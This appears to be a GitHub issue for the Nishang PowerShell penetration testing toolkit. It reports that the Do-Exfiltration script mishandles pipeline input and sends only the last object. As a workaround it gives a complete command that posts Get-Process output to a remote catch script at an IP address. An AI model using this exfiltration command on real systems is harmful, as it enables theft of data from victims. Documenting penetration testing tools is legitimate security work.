Fix pipeline issue with Do-Exfiltration script and Powerpreter

[samratashok]

Do-exfiltration is unable to handle the pipeline input properly. It exfiltrates only the last object returned from the command. Currently, the pipeline should not be used with Do-Exfiltration, instead, use as below:

Do-Exfiltration -Data (Get-Process) -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php

[samratashok]

The issue was reported by an anonymous user by this comment:
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-5.html?showComment=1435835570056#c2007721560700630955

Other issues by the user would be raised once reproduced.